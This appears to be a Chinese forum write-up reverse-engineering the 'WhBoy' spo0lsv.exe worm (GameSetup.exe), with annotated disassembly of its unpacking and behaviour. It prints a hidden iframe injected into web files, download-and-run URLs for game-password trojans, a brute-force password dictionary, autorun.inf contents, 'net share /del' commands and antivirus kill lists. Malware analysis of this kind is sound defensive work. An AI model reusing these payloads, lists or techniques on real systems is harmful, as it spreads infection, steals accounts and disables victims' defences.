00407FDE B8 5C814000 mov eax,GameSetu.0040815C ; ASCII "WhBoy"
...
00408031 E8 B6CAFFFF call GameSetu.00404AEC ; jmp to KERNEL32.CopyFileA
2.7.2 脚本类(后缀名为:htm,html,asp,php,jsp,aspx):
在这些脚本文件尾加上网站链接.
00409EFB E8 CCDAFFFF call GameSetu.004079CC
004079FF BA F47A4000 mov edx,dumped_.00407AF4 ; ASCII "Search"
00407A04 B8 047B4000 mov eax,dumped_.00407B04 ; ASCII "=nb{end''w{g>ispy>,.ps~*bb?2''gm.12&mmeb|''lwl''s``wi:&9&#ibmnlw<%4+:?.nb{end9"
00407A09 E8 42D8FFFF call dumped_.00405250 ; 解密
解密后为:
00CC0090 4A 00 00 00 3C 69 66 72 61 6D 65 20 73 72 63 3D J...<iframe src=
00CC00A0 68 74 74 70 3A 2F 2F 77 77 77 2E 61 63 38 36 2E http://www.ac86.
00CC00B0 63 6E 2F 36 36 2F 69 6E 64 65 78 2E 68 74 6D 20 cn/66/index.htm
00CC00C0 77 69 64 74 68 3D 22 30 22 20 68 65 69 67 68 74 width="0" height
00CC00D0 3D 22 30 22 3E 3C 2F 69 66 72 61 6D 65 3E 00 00 ="0"></iframe>..
2.8.局域网传播:
遍历用户所在局域网,连接上可用机器,复制病毒到指定目标,病毒名Gamesetup.exe,
然后添加远程任务,同时尝试弱口令对内网机器进行攻击.
整个代码过程:
0040A928 55 push ebp ; URLMON.702B0000
...
0040AA0C C745 D4 0500000>mov dword ptr ss:[ebp-2C],5
0040AA13 B8 F0E04000 mov eax,GameSetu.0040E0F0 ; 注意地址,字符串指针
0040AA18 8945 BC mov dword ptr ss:[ebp-44],eax ; 字符串指针保存
0040AA1B 8D55 B4 lea edx,dword ptr ss:[ebp-4C] ; 循环指针,开始处
0040AA1E 8B45 E0 mov eax,dword ptr ss:[ebp-20]
...
0040AA31 8B45 BC mov eax,dword ptr ss:[ebp-44]
0040AA34 FF30 push dword ptr ds:[eax]
0040AA36 8D45 B8 lea eax,dword ptr ss:[ebp-48] ; 目标1
0040AA39 BA 04000000 mov edx,4
0040AA3E E8 4995FFFF call GameSetu.00403F8C
0040AA43 8B55 B8 mov edx,dword ptr ss:[ebp-48]
0040AA46 8B45 FC mov eax,dword ptr ss:[ebp-4]
0040AA49 E8 7AFDFFFF call GameSetu.0040A7C8
0040AA4E 85C0 test eax,eax
0040AA50 0F84 4E020000 je GameSetu.0040ACA4
0040AA56 6A 00 push 0
0040AA58 8D55 AC lea edx,dword ptr ss:[ebp-54] ; 目标3
0040AA5B 8B45 E0 mov eax,dword ptr ss:[ebp-20]
0040AA5E E8 AD9BFFFF call GameSetu.00404610
...
0040AA6E 8B45 BC mov eax,dword ptr ss:[ebp-44]
0040AA71 FF30 push dword ptr ds:[eax]
0040AA73 68 64AD4000 push GameSetu.0040AD64 ; ASCII "GameSetup.exe"
0040AA78 8D45 B0 lea eax,dword ptr ss:[ebp-50] ; 目标2
0040AA7B BA 05000000 mov edx,5
0040AA80 E8 0795FFFF call GameSetu.00403F8C
0040AA85 8B45 B0 mov eax,dword ptr ss:[ebp-50]
0040AA88 E8 3F96FFFF call GameSetu.004040CC
...
0040AA99 68 7CAD4000 push GameSetu.0040AD7C ; ASCII "drivers\"
0040AA9E 68 90AD4000 push GameSetu.0040AD90 ; ASCII "spo0lsv.exe"
0040AAB9 E8 2EA0FFFF call GameSetu.00404AEC ; jmp to KERNEL32.CopyFileA
...
0040AB80 E8 83FAFFFF call GameSetu.0040A608 ; jmp to netapi32.NetRemoteTOD
0040AC07 E8 F4F9FFFF call GameSetu.0040A600 ; jmp to netapi32.NetScheduleJobAdd
...
0040AC6B B8 A4AD4000 mov eax,GameSetu.0040ADA4 ; ASCII "admin$"
0040AC70 E8 4BA4FFFF call GameSetu.004050C0
0040AC75 84C0 test al,al
0040AC77 75 2B jnz short GameSetu.0040ACA4
...
0040ACA4 8345 BC 04 add dword ptr ss:[ebp-44],4
0040ACA8 FF4D D4 dec dword ptr ss:[ebp-2C]
0040ACAB ^ 0F85 6AFDFFFF jnz GameSetu.0040AA1B ; 继续
dd 0040E0F0
0040E0F0 0040A828 GameSetu.0040A828 ; 以下为攻击目标
0040E0F4 0040A834 ASCII "\Documents and Settings\All Users\Start Menu\Programs\Startup\"
0040E0F8 0040A87C GameSetu.0040A87C
0040E0FC 0040A8C0 ASCII "\WINDOWS\Start Menu\Programs\Startup\"
0040E100 0040A8F0 ASCII "\WINNT\Profiles\All Users\Start Menu\Programs\Startup\"
0040E104 00000000
0040E108 0040ADB4 ASCII "1234" ; 以下为字典密码
0040E10C 0040ADC4 ASCII "password"
0040E110 0040ADD8 ASCII "6969"
0040E114 0040ADE8 ASCII "harley"
0040E118 0040ADF8 ASCII "123456"
0040E11C 0040AE08 ASCII "golf"
0040E120 0040AE18 ASCII "pussy"
0040E124 0040AE28 ASCII "mustang"
0040E128 0040AE38 ASCII "1111"
0040E12C 0040AE48 ASCII "shadow"
0040E130 0040AE58 ASCII "1313"
0040E134 0040AE68 ASCII "fish"
0040E138 0040AE78 ASCII "5150"
0040E13C 0040AE88 ASCII "7777"
0040E140 0040AE98 ASCII "qwerty"
0040E144 0040AEA8 ASCII "baseball"
0040E148 0040AEBC ASCII "2112"
0040E14C 0040AECC ASCII "letmein"
0040E150 0040AEDC ASCII "12345678"
0040E154 0040AEF0 ASCII "12345"
0040E158 0040AF00 ASCII "ccc"
0040E15C 0040AF0C ASCII "admin"
0040E160 0040AF1C ASCII "5201314"
0040E164 0040AF2C ASCII "qq520"
0040E168 0040AF3C GameSetu.0040AF3C
0040E16C 0040AF48 ASCII "12"
0040E170 0040AF54 ASCII "123"
0040E174 0040AF60 ASCII "1234567"
0040E178 0040AF70 ASCII "123456789"
0040E17C 0040AF84 ASCII "654321"
0040E180 0040AF94 ASCII "54321"
0040E184 0040AFA4 ASCII "111"
0040E188 0040AFB0 ASCII "000000"
0040E18C 0040AFC0 ASCII "abc"
0040E190 0040AFCC ASCII "pw"
0040E194 0040AFD8 ASCII "11111111"
0040E198 0040AFEC ASCII "88888888"
0040E19C 0040B000 ASCII "pass"
0040E1A0 0040B010 ASCII "passwd"
0040E1A4 0040B020 ASCII "database"
0040E1A8 0040B034 ASCII "abcd"
0040E1AC 0040B044 ASCII "abc123"
0040E1B0 0040B000 ASCII "pass"
0040E1B4 0040B054 ASCII "sybase"
0040E1B8 0040B064 ASCII "123qwe"
0040E1BC 0040B074 ASCII "server"
0040E1C0 0040B084 ASCII "computer"
0040E1C4 0040B098 ASCII "520"
0040E1C8 0040B0A4 ASCII "super"
0040E1CC 0040B0B4 ASCII "123asd"
0040E1D0 0040B0C4 GameSetu.0040B0C4
0040E1D4 0040B0D0 ASCII "ihavenopass"
0040E1D8 0040B0E4 ASCII "godblessyou"
0040E1DC 0040B0F8 ASCII "enable"
0040E1E0 0040B108 ASCII "xp"
0040E1E4 0040B114 ASCII "2002"
0040E1E8 0040B124 ASCII "2003"
0040E1EC 0040B134 ASCII "2600"
0040E1F0 0040B144 ASCII "alpha"
0040E1F4 0040B154 ASCII "110"
0040E1F8 0040B160 ASCII "111111"
0040E1FC 0040B170 ASCII "121212"
0040E200 0040B180 ASCII "123123"
0040E204 0040B190 ASCII "1234qwer"
0040E208 0040B1A4 ASCII "123abc"
0040E20C 0040B1B4 ASCII "007"
0040E210 0040B1C0 GameSetu.0040B1C0
0040E214 0040B1CC ASCII "aaa"
0040E218 0040B1D8 ASCII "patrick"
0040E21C 0040B1E8 ASCII "pat"
0040E220 0040B1F4 ASCII "administrator"
0040E224 0040B20C ASCII "root"
0040E228 0040B21C ASCII "sex"
0040E22C 0040B228 ASCII "god"
0040E230 0040B234 ASCII "fuckyou"
0040E234 0040B244 ASCII "fuck"
0040E238 0040AFC0 ASCII "abc"
0040E23C 0040B254 ASCII "test"
0040E240 0040B264 ASCII "test123"
0040E244 0040B274 ASCII "temp"
0040E248 0040B284 ASCII "temp123"
0040E24C 0040B294 ASCII "win"
0040E250 0040B2A0 ASCII "pc"
0040E254 0040B2AC ASCII "asdf"
0040E258 0040B2BC ASCII "pwd"
0040E25C 0040B2C8 ASCII "qwer"
0040E260 0040B2D8 ASCII "yxcv"
0040E264 0040B2E8 ASCII "zxcv"
0040E268 0040B2F8 ASCII "home"
0040E26C 0040B308 ASCII "xxx"
0040E270 0040B314 ASCII "owner"
0040E274 0040B324 ASCII "login"
0040E278 0040B334 ASCII "Login"
0040E27C 0040B344 ASCII "pw123"
0040E280 0040B354 ASCII "love"
0040E284 0040B364 ASCII "mypc"
0040E288 0040B374 ASCII "mypc123"
0040E28C 0040B384 ASCII "admin123"
0040E290 0040B398 ASCII "mypass"
0040E294 0040B3A8 ASCII "mypass123"
0040E298 0040B3BC ASCII "901100"
0040E29C 0040B3CC ASCII "Administrator"
0040E2A0 0040B3E4 ASCII "Guest"
0040E2A4 0040B3F4 ASCII "admin"
0040E2A8 0040B404 ASCII "Root"
2.9 复制病毒到根目录,生成autorun.inf:
病毒建立一个计时器以,6秒为周期在磁盘的根目录下生成setup.exe,
并利用AutoRun Open关联,使病毒在用户点击被感染磁盘时能被自动运行.
0040C374 68 7CBE4000 push GameSetu.0040BE7C ; 执行主体
0040C379 68 70170000 push 1770 ; 时间6000ms
0040C37E 6A 00 push 0
0040C380 6A 00 push 0
0040C382 E8 BD88FFFF call GameSetu.00404C44 ; jmp to user32.SetTimer
将病毒复制到各分区下命名为setup.exe,建立autorun.inf:
0040BEC6 E8 BDFDFFFF call GameSetu.0040BC88
0040BCCC E8 7B8EFFFF call GameSetu.00404B4C ; jmp to KERNEL32.GetDriveTypeA
0040BF9F B9 F4C24000 mov ecx,GameSetu.0040C2F4 ; ASCII ":\setup.exe"
0040BFC4 B9 08C34000 mov ecx,GameSetu.0040C308 ; ASCII ":\autorun.inf"
0040C08A E8 5D8AFFFF call GameSetu.00404AEC ; jmp to KERNEL32.CopyFileA
0040C11D BA 20C34000 mov edx,GameSetu.0040C320 ; ASCII "[AutoRun]
[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
2.10 下载其他病毒盗取QQ:
病毒会以xx分钟为周期尝试读取特定网站上的下载文件列表,
比如:"hxxp://www.ac86.cn/66/up.txt",hxxp://update.whboy.net/worm.txt
并根据文件列表指定的文件下载,并启动这些程序.
2.10.1 Timer=20min
0040D0A9 A3 B0E24000 mov dword ptr ds:[40E2B0],eax
0040D0AE 68 40D04000 push GameSetu.0040D040 ; 执行地址
0040D0B3 68 804F1200 push 124F80 ; 时间
0040D0B8 6A 00 push 0
0040D0BA 6A 00 push 0
0040D0BC E8 837BFFFF call <jmp.&user32.SetTimer>
0040D040 E8 EFFBFFFF call GameSetu.0040CC34
0040D045 C3 retn
0040CC34 51 push ecx
0040CC35 54 push esp
0040CC36 6A 00 push 0
0040CC38 6A 00 push 0
0040CC3A 68 B0C94000 push GameSetu.0040C9B0 ; 执行主体
0040CC3F 6A 00 push 0
0040CC41 6A 00 push 0
0040CC43 E8 B47EFFFF call GameSetu.00404AFC ; jmp to KERNEL32.CreateThread
0040CC48 5A pop edx
0040CC49 C3 retn
0040C9E2 B8 FCCB4000 mov eax,GameSetu.0040CBFC ; 加密过的字符串
0040C9E7 E8 00FBFFFF call GameSetu.0040C4EC ; 解密
堆栈 ss:[0012FFB0]=00CC0068, (ASCII "hxxp://www.ac86.cn/66/up.txt")
0040C9FF BA 24CC4000 mov edx,GameSetu.0040CC24 ; ASCII "QQ"
0040CABA E8 25FAFFFF call GameSetu.0040C4E4 ; jmp to URLMON.URLDownloadToFileA
0040CAFC E8 D380FFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
下载下来后发现都是游戏的木马:
hxxp://www.koshadu.com/down/mh.exe
hxxp://www.koshadu.com/down/rx.exe // 热血
hxxp://www.koshadu.com/down/my.exe // 魔域
hxxp://www.koshadu.com/down/dh.exe
hxxp://www.koshadu.com/down/cs.exe // CS
hxxp://www.koshadu.com/down/zt.exe // 征途
2.10.2 Timer=30min
0040D104 68 28C74000 push GameSetu.0040C728 ; 执行主体
0040D109 68 40771B00 push 1B7740 ; 时间
0040D10E 6A 00 push 0
0040D110 6A 00 push 0
0040D112 E8 2D7BFFFF call GameSetu.00404C44 ; jmp to user32.SetTimer
0040C75A B8 74C94000 mov eax,GameSetu.0040C974 ; 加密过的字符串
0040C75F E8 88FDFFFF call GameSetu.0040C4EC ; 解密
堆栈 ss:[0012FFB0]=00CC0094, (ASCII "hxxp://update.whboy.net/worm.txt")
0040C777 BA A0C94000 mov edx,GameSetu.0040C9A0 ; ASCII "QQ"
0040C832 E8 ADFCFFFF call GameSetu.0040C4E4 ; jmp to URLMON.URLDownloadToFileA
0040C874 E8 5B83FFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
这个txt没能下载下来.
2.11 关闭中毒机器默认共享:
据loveboom分析只是为了避免病毒重复工作.
关闭:cmd.exe /c net share 驱动器名$ /del /y
0040CE07 E8 98A7FFFF call GameSetu.004075A4
004075E8 E8 5FD5FFFF call GameSetu.00404B4C ; jmp to KERNEL32.GetDriveTypeA
0040CE1D 68 94CE4000 push GameSetu.0040CE94 ; ASCII "cmd.exe /c net share "
0040CE34 68 B4CE4000 push GameSetu.0040CEB4 ; ASCII "$ /del /y"
0040CE4E 50 push eax
0040CE4F E8 807DFFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
关闭:cmd.exe /c net share admin$ /del /y
0040CE5B 68 C0CE4000 push GameSetu.0040CEC0 ; ASCII "cmd.exe /c net share admin$ /del /y"
0040CE60 E8 6F7DFFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
2.12 修改注册表隐藏病毒
将以1秒钟为周期不断设置如下键值:
HKEY_CURRENT_USER
"Software\Microsoft\Windows\CurrentVersion\Run"
svcshare=%病毒文件路径%
HKEY_LOCAL_MACHINE
"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
CheckedValue=0
设置时间:
0040D096 68 E4CE4000 push GameSetu.0040CEE4 ; 要执行的目标
0040D09B 68 E8030000 push 3E8 ; 1000ms
0040D0A0 6A 00 push 0
0040D0A2 6A 00 push 0
0040D0A4 E8 9B7BFFFF call <jmp.&user32.SetTimer>
执行目标:
0040CF09 68 7CCF4000 push GameSetu.0040CF7C ; ASCII "drivers\"
0040CF0E 68 90CF4000 push GameSetu.0040CF90 ; ASCII "spo0lsv.exe"
0040CF13 8D45 FC lea eax,dword ptr ss:[ebp-4]
0040CF16 BA 03000000 mov edx,3
0040CF1B E8 6C70FFFF call GameSetu.00403F8C
0040CF20 8B45 FC mov eax,dword ptr ss:[ebp-4]
0040CF23 E8 A471FFFF call GameSetu.004040CC
0040CF28 50 push eax
0040CF29 B9 9CCF4000 mov ecx,GameSetu.0040CF9C ; ASCII "svcshare"
0040CF2E BA A8CF4000 mov edx,GameSetu.0040CFA8 ; ASCII "Software\Microsoft\Windows\CurrentVersion\Run"
0040CF33 B8 01000080 mov eax,80000001
0040CF38 E8 7F82FFFF call GameSetu.004051BC
0040CF3D 33C9 xor ecx,ecx
0040CF3F BA E0CF4000 mov edx,GameSetu.0040CFE0 ; ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
0040CF44 B8 02000080 mov eax,80000002
0040CF49 E8 A28AFFFF call GameSetu.004059F0
3.按代码流程分析:
整体流程:
先比较2个字符串,不同就退出:
0040D5D6 BA 90D84000 mov edx,GameSetu.0040D890 ; ASCII "xboy"
0040D600 BA CCD84000 mov edx,GameSetu.0040D8CC ; ASCII "whboy"
然后拷贝病毒,感染文件并反杀毒及下载其他病毒:
0040D627 E8 70ABFFFF call GameSetu.0040819C ; 模块1-拷贝病毒
0040D62C E8 5BFBFFFF call GameSetu.0040D18C ; 模块2-感染文件
0040D631 E8 52FAFFFF call GameSetu.0040D088 ; 模块3-清除反病毒并下载其他病毒
3.1 模块1-拷贝病毒:
0040D627 E8 70ABFFFF call GameSetu.0040819C ; 模块1-拷贝病毒
是否存在Desktop_.ini,存在就设置为normal然后删除:
004081E1 BA 98874000 mov edx,GameSetu.00408798 ; ASCII "Desktop_.ini"
...
0040823D E8 72C9FFFF call GameSetu.00404BB4 ; jmp to KERNEL32.SetFileAttributesA
...
00408283 E8 7CC8FFFF call GameSetu.00404B04 ; jmp to KERNEL32.DeleteFileA
判断是否感染过:
004082DF 8B45 FC mov eax,dword ptr ss:[ebp-4]
004082E2 807C18 FF 00 cmp byte ptr ds:[eax+ebx-1],0 ; 文件尾是否为0?
004082E7 ^ 75 CE jnz short GameSetu.004082B7 ; 判断感染前还是感染后
004082E9 837D F8 00 cmp dword ptr ss:[ebp-8],0 ; 感染标志
004082ED 0F85 6B010000 jnz GameSetu.0040845E
如果未感染,那么拷贝病毒.参看2.5.
3.2 模块2-感染文件:
0040D62C E8 5BFBFFFF call GameSetu.0040D18C ; 模块2-感染文件
0040D18C E8 1FD4FFFF call GameSetu.0040A5B0 ; 创建线程感染文件,参看2.6&2.7
0040D191 E8 DEF1FFFF call GameSetu.0040C374 ; 写Autorun.inf,参看2.9
0040D196 66:B8 0A00 mov ax,0A
0040D19A E8 2DE9FFFF call GameSetu.0040BACC ; 感染网络,参看2.8
0040D19F C3 retn
3.3 模块3-清除反病毒并下载其他病毒
0040D631 E8 52FAFFFF call GameSetu.0040D088 ; 模块3-清除反病毒并下载其他病毒
设置病毒自启动并修改隐藏标志,参看2.12;
中止相应字符串的窗口,关闭进程,参看2.1,2.2;
下载其他病毒,参看2.10;
关闭共享,参看2.11;
清除杀毒软件相关服务,参看2.3.
4.其他:
4.1解密得到n多网址:???????????
0040D0F1 68 4CCC4000 push GameSetu.0040CC4C ; 执行地址
0040D0F6 68 10270000 push 2710 ; 时间
0040D0FB 6A 00 push 0
0040D0FD 6A 00 push 0
0040D0FF E8 407BFFFF call GameSetu.00404C44 ; jmp to user32.SetTimer
0040CC6C B8 28CD4000 mov eax,GameSetu.0040CD28
0040CC71 E8 76F8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012FC8C]=00CC00C4, (ASCII "http://www.tom.com")
0040CC89 B8 44CD4000 mov eax,GameSetu.0040CD44
0040CC8E E8 59F8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012FC84]=00CC00E4, (ASCII "http://www.163.com")
0040CCA6 B8 60CD4000 mov eax,GameSetu.0040CD60
0040CCAB E8 3CF8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012ECBC]=00CC0274, (ASCII "http://www.sohu.com")
0040CCC3 B8 7CCD4000 mov eax,GameSetu.0040CD7C
0040CCC8 E8 1FF8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012F800]=00CC03A8, (ASCII "http://www.yahoo.com")
0040CCE0 B8 9CCD4000 mov eax,GameSetu.0040CD9C
0040CCE5 E8 02F8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012F800]=00CC03CC, (ASCII "http://www.google.com")
不会用来DDos攻击吧?
根据字符串结合loveboom的文章进行了深入的学习.
不敢独享,分享如下.
GameSetup.exe
1.脱壳:
FSG 2.0 -> bart/xt
Borland Delphi 6.0 - 7.0
ep:
00400154 G> 8725 F4D24100 xchg dword ptr ds:[41D2F4],esp
0040015A 61 popad
0040015B 94 xchg eax,esp
0040015C 55 push ebp
0040015D A4 movs byte ptr es:[edi],byte ptr ds:[e>
0040015E B6 80 mov dh,80
00400160 FF13 call dword ptr ds:[ebx]
00400162 ^ 73 F9 jnb short GameSetu.0040015D
...
004001CC 40 inc eax
004001CD ^ 78 F3 js short GameSetu.004001C2
004001CF 75 03 jnz short GameSetu.004001D4
004001D1 - FF63 0C jmp dword ptr ds:[ebx+C] ; GameSetu.0040D278 ,OEP
004001D4 50 push eax
004001D5 55 push ebp
004001D6 FF53 14 call dword ptr ds:[ebx+14]
004001D9 AB stos dword ptr es:[edi]
004001DA ^ EB EE jmp short GameSetu.004001CA
OEP:
0040D278 55 push ebp ; URLMON.702B0000
0040D279 8BEC mov ebp,esp
0040D27B 83C4 E8 add esp,-18
0040D27E 53 push ebx
0040D27F 56 push esi
0040D280 33C0 xor eax,eax
0040D282 8945 E8 mov dword ptr ss:[ebp-18],eax
0040D285 8945 EC mov dword ptr ss:[ebp-14],eax
0040D288 B8 C8D14000 mov eax,GameSetu.0040D1C8
0040D28D E8 5677FFFF call GameSetu.004049E8
文本字符串参考位于 GameSetu:
地址 反汇编 文本字符串
0040626A mov eax,GameSetu.004069D8 ASCII "VirusScan"
00406296 mov eax,GameSetu.004069EC ASCII "NOD32"
004064B0 mov eax,GameSetu.00406AB4 ASCII "Symantec AntiVirus"
004064E2 mov eax,GameSetu.00406AD0 ASCII "Duba"
00406514 mov eax,GameSetu.00406AE0 ASCII "esteem procs"
0040660E mov eax,GameSetu.00406B44 ASCII "System Safety Monitor"
00406640 mov eax,GameSetu.00406B64 ASCII "Wrapped gift Killer"
00406672 mov eax,GameSetu.00406B80 ASCII "Winsock Expert"
0040670E push GameSetu.00406BC0 ASCII "msctls_statusbar32"
00406748 mov eax,GameSetu.00406BDC ASCII "pjf(ustc)"
004067E4 push GameSetu.00406BE8 ASCII "IceSword"
00406826 mov eax,GameSetu.00406BFC ASCII "Mcshield.exe"
00406830 mov eax,GameSetu.00406C14 ASCII "VsTskMgr.exe"
0040683A mov eax,GameSetu.00406C2C ASCII "naPrdMgr.exe"
00406844 mov eax,GameSetu.00406C44 ASCII "UpdaterUI.exe"
0040684E mov eax,GameSetu.00406C5C ASCII "TBMon.exe"
00406858 mov eax,GameSetu.00406C70 ASCII "scan32.exe"
00406862 mov eax,GameSetu.00406C84 ASCII "Ravmond.exe"
0040686C mov eax,GameSetu.00406C98 ASCII "CCenter.exe"
00406876 mov eax,GameSetu.00406CAC ASCII "RavTask.exe"
00406880 mov eax,GameSetu.00406CC0 ASCII "Rav.exe"
0040688A mov eax,GameSetu.00406CD0 ASCII "Ravmon.exe"
00406894 mov eax,GameSetu.00406CE4 ASCII "RavmonD.exe"
0040689E mov eax,GameSetu.00406CF8 ASCII "RavStub.exe"
004068A8 mov eax,GameSetu.00406D0C ASCII "KVXP.kxp"
004068B2 mov eax,GameSetu.00406D20 ASCII "KvMonXP.kxp"
004068BC mov eax,GameSetu.00406D34 ASCII "KVCenter.kxp"
004068C6 mov eax,GameSetu.00406D4C ASCII "KVSrvXP.exe"
004068D0 mov eax,GameSetu.00406D60 ASCII "KRegEx.exe"
004068DA mov eax,GameSetu.00406D74 ASCII "UIHost.exe"
004068E4 mov eax,GameSetu.00406D88 ASCII "TrojDie.kxp"
004068EE mov eax,GameSetu.00406D9C ASCII "FrogAgent.exe"
004068F8 mov eax,GameSetu.00406D0C ASCII "KVXP.kxp"
00406902 mov eax,GameSetu.00406D20 ASCII "KvMonXP.kxp"
0040690C mov eax,GameSetu.00406D34 ASCII "KVCenter.kxp"
00406916 mov eax,GameSetu.00406D4C ASCII "KVSrvXP.exe"
00406920 mov eax,GameSetu.00406D60 ASCII "KRegEx.exe"
0040692A mov eax,GameSetu.00406D74 ASCII "UIHost.exe"
00406934 mov eax,GameSetu.00406D88 ASCII "TrojDie.kxp"
0040693E mov eax,GameSetu.00406D9C ASCII "FrogAgent.exe"
00406948 mov eax,GameSetu.00406DB4 ASCII "Logo1_.exe"
00406952 mov eax,GameSetu.00406DC8 ASCII "Logo_1.exe"
0040695C mov eax,GameSetu.00406DDC ASCII "Rundl132.exe"
00406966 mov eax,GameSetu.00406DF4 ASCII "regedit.exe"
00406970 mov eax,GameSetu.00406E08 ASCII "msconfig.exe"
0040697A mov eax,GameSetu.00406E20 ASCII "taskmgr.exe"
00406E44 mov eax,GameSetu.00407014 ASCII "Schedule"
00406E4E mov eax,GameSetu.00407028 ASCII "sharedaccess"
00406E58 mov eax,GameSetu.00407040 ASCII "RsCCenter"
00406E62 mov eax,GameSetu.00407054 ASCII "RsRavMon"
00406E6C mov eax,GameSetu.00407060 ASCII "RsCCenter"
00406E76 mov eax,GameSetu.0040706C ASCII "RsRavMon"
00406E80 mov edx,GameSetu.00407080 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask"
00406E8F mov eax,GameSetu.004070C0 ASCII "KVWSC"
00406E99 mov eax,GameSetu.004070D0 ASCII "KVSrvXP"
00406EA3 mov eax,GameSetu.004070D8 ASCII "KVWSC"
00406EAD mov eax,GameSetu.004070E0 ASCII "KVSrvXP"
00406EB7 mov edx,GameSetu.004070F0 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP"
00406EC6 mov eax,GameSetu.00407130 ASCII "kavsvc"
00406ED0 mov eax,GameSetu.00407140 ASCII "AVP"
00406EDA mov eax,GameSetu.00407144 ASCII "AVP"
00406EE4 mov eax,GameSetu.00407148 ASCII "kavsvc"
00406EEE mov edx,GameSetu.00407158 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav"
00406EFD mov edx,GameSetu.00407194 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50"
00406F0C mov eax,GameSetu.004071D8 ASCII "McAfeeFramework"
00406F16 mov eax,GameSetu.004071F0 ASCII "McShield"
00406F20 mov eax,GameSetu.00407204 ASCII "McTaskManager"
00406F2A mov eax,GameSetu.00407214 ASCII "McAfeeFramework"
00406F34 mov eax,GameSetu.00407224 ASCII "McShield"
00406F3E mov eax,GameSetu.00407230 ASCII "McTaskManager"
00406F48 mov edx,GameSetu.00407248 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI"
00406F57 mov edx,GameSetu.00407290 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error Reporting Service"
00406F66 mov edx,GameSetu.004072F4 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE"
00406F75 mov eax,GameSetu.0040732C ASCII "navapsvc"
00406F7F mov eax,GameSetu.00407338 ASCII "wscsvc"
00406F89 mov eax,GameSetu.00407340 ASCII "KPfwSvc"
00406F93 mov eax,GameSetu.00407348 ASCII "SNDSrvc"
00406F9D mov eax,GameSetu.00407350 ASCII "ccProxy"
00406FA7 mov eax,GameSetu.00407358 ASCII "ccEvtMgr"
00406FB1 mov eax,GameSetu.00407364 ASCII "ccSetMgr"
00406FBB mov eax,GameSetu.00407370 ASCII "SPBBCSvc"
00406FC5 mov eax,GameSetu.0040737C ASCII "Symantec Core LC"
00406FCF mov eax,GameSetu.00407390 ASCII "NPFMntor"
00406FD9 mov eax,GameSetu.0040739C ASCII "MskService"
00406FE3 mov eax,GameSetu.004073A8 ASCII "FireSvc"
00406FED mov edx,GameSetu.004073B8 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe"
00406FFC mov edx,GameSetu.004073F8 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse"
004075D5 mov ecx,GameSetu.0040764C ASCII ":\"
004079FF mov edx,GameSetu.00407AF4 ASCII "Search"
00407A04 mov eax,GameSetu.00407B04 ASCII "=nb{end''w{g>ispy>,.ps~*bb?2''gm.12&mmeb|''lwl''s``wi:&9&#ibmnlw<%4+:?.nb{end9"
00407BB6 push GameSetu.00407E44 ASCII "$$.bat"
00407BEE mov edx,GameSetu.00407E54 ASCII ":try1"
00407C08 push GameSetu.00407E64 ASCII "del ""
00407C50 push GameSetu.00407E80 ASCII "if exist ""
00407C6D push GameSetu.00407E94 ASCII " goto try1"
00407C9D push GameSetu.00407EA8 ASCII "ren ""
00407CB5 push GameSetu.00407EB8 ASCII ".exe"
00407D1D push GameSetu.00407E80 ASCII "if exist ""
00407D35 push GameSetu.00407EB8 ASCII ".exe"
00407D3F push GameSetu.00407ED4 ASCII " goto try2"
00407DB7 mov edx,GameSetu.00407EE8 ASCII ":try2"
00407DD1 mov edx,GameSetu.00407EF8 ASCII "del %0"
00407FDE mov eax,GameSetu.0040815C ASCII "WhBoy"
00408060 push GameSetu.0040817C ASCII ".exe"
004081E1 mov edx,GameSetu.00408798 ASCII "Desktop_.ini"
00408227 mov edx,GameSetu.00408798 ASCII "Desktop_.ini"
0040826D mov edx,GameSetu.00408798 ASCII "Desktop_.ini"
00408329 push GameSetu.004087B0 ASCII "drivers\"
0040832E push GameSetu.004087C4 ASCII "spo0lsv.exe"
00408366 mov eax,GameSetu.004087C4 ASCII "spo0lsv.exe"
00408370 mov eax,GameSetu.004087C4 ASCII "spo0lsv.exe"
00408390 push GameSetu.004087B0 ASCII "drivers\"
00408395 push GameSetu.004087C4 ASCII "spo0lsv.exe"
004083D5 push GameSetu.004087B0 ASCII "drivers\"
004083DA push GameSetu.004087C4 ASCII "spo0lsv.exe"
0040842C push GameSetu.004087B0 ASCII "drivers\"
00408431 push GameSetu.004087C4 ASCII "spo0lsv.exe"
00408589 mov eax,GameSetu.004087C4 ASCII "spo0lsv.exe"
004085B1 push GameSetu.004087B0 ASCII "drivers\"
004085B6 push GameSetu.004087C4 ASCII "spo0lsv.exe"
004085F4 push GameSetu.004087B0 ASCII "drivers\"
004085F9 push GameSetu.004087C4 ASCII "spo0lsv.exe"
0040867D push GameSetu.004087B0 ASCII "drivers\"
00408682 push GameSetu.004087C4 ASCII "spo0lsv.exe"
004086FB push GameSetu.004087B0 ASCII "drivers\"
00408700 push GameSetu.004087C4 ASCII "spo0lsv.exe"
00408858 mov ecx,GameSetu.00409130 ASCII "*.*"
004088AA mov eax,GameSetu.0040913C ASCII "WINDOWS"
004088E4 mov eax,GameSetu.0040914C ASCII "WINNT"
0040891E mov eax,GameSetu.0040915C ASCII "system32"
